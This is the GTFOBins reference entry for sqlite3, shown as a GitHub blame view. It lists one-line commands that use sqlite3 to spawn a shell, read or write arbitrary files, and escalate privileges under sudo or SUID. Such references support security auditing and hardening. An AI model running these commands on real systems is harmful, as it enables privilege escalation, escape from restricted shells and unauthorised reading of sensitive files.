GTFOBins.github.io/_gtfobins/sqlite3.md

30 lines
666 B
Markdown
Raw Normal View History

---
functions:
2018-10-05 19:55:38 +02:00
shell:
2018-07-16 15:01:50 +02:00
- code: sqlite3 /dev/null '.shell /bin/sh'
2018-06-04 17:16:57 +02:00
file-write:
2018-07-16 15:01:50 +02:00
- code: |
LFILE=file_to_write
sqlite3 /dev/null -cmd ".output $LFILE" 'select "DATA";'
file-read:
2018-07-16 15:01:50 +02:00
- code: |
LFILE=file_to_read
sqlite3 << EOF
CREATE TABLE t(line TEXT);
.import $LFILE t
SELECT * FROM t;
EOF
suid:
- code: |
LFILE=file_to_read
sqlite3 << EOF
CREATE TABLE t(line TEXT);
.import $LFILE t
SELECT * FROM t;
EOF
2018-10-05 19:55:38 +02:00
sudo:
2018-07-16 15:01:50 +02:00
- code: sudo sqlite3 /dev/null '.shell /bin/sh'
2018-10-05 19:55:38 +02:00
limited-suid:
2018-07-16 15:01:50 +02:00
- code: "./sqlite3 /dev/null '.shell /bin/sh'"
---